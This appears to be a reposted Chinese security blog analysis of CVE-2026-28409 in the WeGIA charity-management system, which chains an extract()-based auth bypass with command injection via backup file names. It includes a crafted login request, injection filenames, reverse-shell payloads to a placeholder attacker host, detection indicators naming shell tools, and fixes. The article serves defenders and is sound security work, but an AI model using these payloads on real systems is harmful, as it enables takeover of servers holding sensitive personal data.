一个”备份文件名”引发的满分漏洞:CVE-2026-28409深度解析

admin 2026-03-05 19:56:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档深度解析WeGIA系统CVE-2026-28409满分命令注入漏洞,结合认证绕过形成无认证RCE链。核心发现是此漏洞为同位置复发问题,暴露补丁修复缺系统性审计。文章提供检测特征,建议升级至v3.6.5,给出使用escapeshellarg转义及移除extract函数的修复方案,强调需审视同类代码。 综合评分: 92 文章分类: 漏洞分析,WEB安全,漏洞预警,实战经验


cover_image

一个”备份文件名”引发的满分漏洞:CVE-2026-28409 深度解析

原创

CVE-SEC CVE-SEC

CVE-SEC

2026年3月5日 08:00 四川

一个”备份文件名”引发的满分漏洞:CVE-2026-28409 深度解析


前言

2026 年 2 月 27 日,一个 CVSS 评分 10.0 的满分漏洞悄然出现在公告栏里。它的主角不是某个耳熟能详的大厂产品,而是一套由巴西大学实验室开发、服务于养老院和慈善机构的开源 Web 系统——WeGIA。

这个漏洞之所以值得拿出来谈,不仅仅因为分数。更值得关注的是,同一段代码、同一个位置,在不到一年前刚刚被修复过两次。


WeGIA 是什么

WeGIA,全称 Web Gerenciador para Instituicoes Assistenciais,是巴西里约热内卢联邦技术教育中心(CEFET-RJ)LabRedesCefetRJ 实验室的开源项目,由 Nilson Lazarin 教授带领团队以大学延伸项目的形式开发。

它的用途很具体:帮助巴西非营利机构管理日常事务。养老院用它记录老人的健康档案和用药情况,慈善基金会用它追踪捐助记录,动物救助站用它管理入住动物的信息。系统以葡萄牙语为主,基于 PHP 8.2 + MariaDB + Apache 2,运行在 Debian 12 上。

规模不大,GitHub 仓库约 15 个星标,但它处理的数据足够敏感:老年人医疗记录、捐助人个人信息、机构员工档案。


这一次披露了什么

2026 年 2 月 27 日,WeGIA 发布 v3.6.5,同步公开了三个严重漏洞:

| CVE | 类型 | CVSS | | — | — | — | | CVE-2026-28411 | 认证绕过 | 9.8 | | CVE-2026-28409 | OS 命令注入(RCE) | 10.0 | | CVE-2026-28408 | 缺失认证 | 9.8 |

三个漏洞各自独立,但可以组成一条完整的攻击链:从完全未经认证的状态出发,最终在服务器上执行任意系统命令。

本文重点拆解 CVE-2026-28409,以及它如何借助 CVE-2026-28411 完成完整的攻击路径。


漏洞在哪里

核心问题在于 WeGIA 的数据库恢复功能。

当管理员需要从备份文件还原数据库时,系统会执行类似下面的操作:

shell_exec("cd " . BKP_DIR . " && tar -xf " . $file);
shell_exec("mysql -u "&nbsp;. DB_USER .&nbsp;" "&nbsp;. DB_NAME .&nbsp;" -p"&nbsp;. DB_PASSWORD .&nbsp;" < "&nbsp;. explode('.', $file)[0] .&nbsp;".bd.sql");

注意 $file 这个变量。它来自哪里?来自用户上传的备份文件的文件名。

上传入口是 importar_dump.php,它接收备份文件后,将文件以原始文件名保存到备份目录,没有任何过滤,没有转义,文件名原样保留。

触发入口是 gerenciar_backup.php,管理员执行恢复操作时,文件名被直接传入 shell_exec()

PHP 的 shell_exec() 会把传入的字符串交给底层的 /bin/sh 执行。Shell 遇到 ;|&&、反引号等字符时,会将它们解析为命令分隔符。

于是,如果文件名是:

poc;id;.tar.gz

那么 shell 实际执行的是:

cd&nbsp;/backup && tar -xf poc
id
tar -xf .tar.gz

id 命令被成功执行。如果换成反弹 shell 的 payload,攻击者就能拿到服务器的交互式 shell。

漏洞分类:CWE-78,OS 命令注入。CVSS 评分 10.0,向量 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


认证绕过如何配合

仅凭 CVE-2026-28409,攻击者还需要管理员权限才能上传备份文件并触发恢复操作。而 CVE-2026-28411 解决了这个前提条件。

问题出在 PHP 的 extract() 函数上。WeGIA 多个脚本(包括 html/login.php)在完成身份验证之前调用了:

extract($_REQUEST);

extract() 的作用是将数组的键值对导入当前作用域,以键名作为变量名。$_REQUEST 包含 GET、POST、COOKIE 三个来源的参数,完全由攻击者控制。

这意味着攻击者只需在请求中加入特定参数名,就能覆盖 PHP 脚本中控制认证逻辑的本地变量,在不知道任何账号密码的情况下获得管理员会话。

一个构造好的 POST 请求:

POST /WeGIA/html/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

cpf=admin&c=true&id_pessoa=1

发送后,攻击者即可持有有效的管理员会话 Cookie,无需任何凭据。


完整攻击路径

将两个漏洞串联,攻击链清晰呈现:

第一步:发送构造请求至 /html/login.php
&nbsp; &nbsp; &nbsp; &nbsp; 注入 c=true&id_pessoa=1
&nbsp; &nbsp; &nbsp; &nbsp; 获得管理员会话 Cookie
&nbsp; &nbsp; &nbsp; &nbsp; (利用 CVE-2026-28411)

第二步:以管理员身份上传备份文件
&nbsp; &nbsp; &nbsp; &nbsp; 文件名构造为 poc;bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1';.tar.gz
&nbsp; &nbsp; &nbsp; &nbsp; 文件内容任意
&nbsp; &nbsp; &nbsp; &nbsp; (访问 /html/configuracao/importar_dump.php)

第三步:触发数据库恢复操作
&nbsp; &nbsp; &nbsp; &nbsp; 传入上述恶意文件名
&nbsp; &nbsp; &nbsp; &nbsp; (访问 /html/configuracao/gerenciar_backup.php?action=restore&file=...)

结果:服务器以 www-data 身份执行嵌入的 shell 命令
&nbsp; &nbsp; &nbsp; 攻击者获得反向 shell,取得服务器控制权
&nbsp; &nbsp; &nbsp; (利用 CVE-2026-28409)

整个过程无需任何账号密码,三步完成,从公网可达。

安全研究员 hunterxsirago1 在公告中确认已验证 whoami 和 id 命令的成功执行,输出为 www-data,RCE 可达。


为什么说这是”老问题”

这个漏洞有一个让人难以忽视的背景。

2025 年 2 月 17 日,CVE-2025-26613 被披露:同一个文件 gerenciar_backup.php,同一个参数 file,命令注入,当时公告里甚至直接给出了 PoC:

file=a;bash+-c+'bash+-i+>%26+/dev/tcp/<ip>/7777+0>%261'&action=remove

一周后,2025 年 2 月 24 日,CVE-2025-27140 被披露:同一个文件 importar_dump.php,同样的问题,$_FILES["import"]["name"] 未经过滤直接拼接入 shell_exec()

两个漏洞均已在 2025 年修复,对应版本分别为 3.2.14 和 3.2.15。

然而不到一年,2026 年 2 月,同一组文件,相同的代码模式,再次出现同类漏洞。

这不是一个人偶然犯的错误,这是一种系统性的问题。代码库中对 shell_exec() 的调用普遍缺乏输入过滤和参数转义,而每一次的修复都是针对单个已报告的漏洞点进行的补丁,没有从根本上审计所有类似调用。WeGIA 自 2024 年以来已积累超过 130 个 CVE,涵盖 SQL 注入、XSS、路径穿越、命令注入、认证绕过几乎所有主流 Web 漏洞类型。


如何检测是否受影响

流量层面:

在 WAF 或代理日志中,重点关注以下请求:

  • POST /html/configuracao/importar_dump.phpContent-Disposition 的 filename 字段中包含 ;|&&、反引号、$()>< 等字符
  • GET/POST /html/configuracao/gerenciar_backup.phpfile= 参数中含有上述字符且同时出现 action=restore
  • POST /html/login.php,POST body 中出现 c=true 或 id_pessoa= 等非正常登录字段

主机层面:

  • Web 服务器进程(通常为 apache2 或 php-fpm,身份为 www-data)派生了 bashshcurlwgetnc 等子进程
  • www-data 进程发起了指向外部高端口的出站 TCP 连接
  • WeGIA 备份目录中出现文件名含有分号等特殊字符的文件
  • /html/configuracao/ 目录中出现新增的 .php 文件

修复方案

首选方案:立即升级至 WeGIA v3.6.5。

官方已在 v3.6.5 中修复全部三个漏洞。升级是唯一经过验证的根本性修复措施。

官方 Release 页面:https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/v3.6.5 官方安全公告:https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-5m5g-q2vv-rv3r

临时缓解(若短期无法升级):

通过 Apache 配置对敏感路径实施访问控制,仅允许可信来源 IP 访问:

/html/configuracao/importar_dump.php
/html/configuracao/gerenciar_backup.php

同时对 adicionar_tipo_docs_atendido.php(CVE-2026-28408)实施同等限制。

代码层面的根本修复方向(面向开发者):

传入 shell_exec() 的任何用户可控变量,均须使用 escapeshellarg() 进行转义:

// 修复前
shell_exec("cd "&nbsp;. BKP_DIR .&nbsp;" && tar -xf "&nbsp;. $file);

// 修复后
shell_exec("cd "&nbsp;. escapeshellarg(BKP_DIR) .&nbsp;" && tar -xf "&nbsp;. escapeshellarg($file));

上传处增加白名单校验,仅接受合规文件名:

if&nbsp;(!preg_match('/^[a-zA-Z0-9._\-]+\.(tar\.gz|sql\.gz|sql)$/', $_FILES["import"]["name"])) {
&nbsp; &nbsp;&nbsp;die("Invalid filename.");
}

移除所有对 extract($_REQUEST) 的调用,改为显式的参数获取:

$cpf = filter_input(INPUT_POST,&nbsp;'cpf', FILTER_SANITIZE_STRING);

当前状态

截至 2026 年 3 月 2 日:

  • 无公开 PoC 代码
  • 无已知在野利用记录
  • 官方修复版本(v3.6.5)已于漏洞披露当日同步发布
  • NVD、THREATINT、TheHackerWire 等安全情报平台已同步收录

WeGIA 的部署规模有限,已确认的部署案例均位于巴西里约热内卢州。但考虑到其处理的数据涉及老年人医疗记录、捐助人个人信息等高敏感内容,且 CVSS 满分、利用链无需任何认证,敞口期内的风险不容低估。


小结

CVE-2026-28409 是一个教科书式的 OS 命令注入案例,其技术本身并不复杂:一个未经过滤的文件名,拼接进了 shell_exec()

真正值得关注的是它的背景:同一段代码,同一种错误,在一年内反复出现三次。这说明修补漏洞和消灭漏洞是两件不同的事。针对单个报告点打补丁,而不对整个代码库的同类调用进行系统性审查,往往只是在给下一个漏洞腾地方。

对于防守方而言,这个案例的意义或许不在于 WeGIA 本身,而在于提醒我们:当一个漏洞被修复后,应当追问的不只是”这个点修好了吗”,还有”用同样方式写的其他代码有多少”。


参考资料

  • CVE-2026-28409 官方公告(GHSA-5m5g-q2vv-rv3r):https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-5m5g-q2vv-rv3r
  • CVE-2026-28411 官方公告(GHSA-g7r9-hxc8-8vh7):https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g7r9-hxc8-8vh7
  • CVE-2026-28408 官方公告(GHSA-xq3w-xwxj-fg2q):https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-xq3w-xwxj-fg2q
  • CVE-2025-26613 前代同类漏洞:https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g3w6-m6w8-p6r2
  • CVE-2025-27140 前代同类漏洞:https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-xw6w-x28r-2p5c
  • WeGIA 项目仓库:https://github.com/LabRedesCefetRJ/WeGIA
  • WeGIA v3.6.5 Release:https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/v3.6.5

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CVE-SEC CVE-SEC CVE-SEC《一个”备份文件名”引发的满分漏洞:CVE-2026-28409 深度解析》

评论:0   参与:  0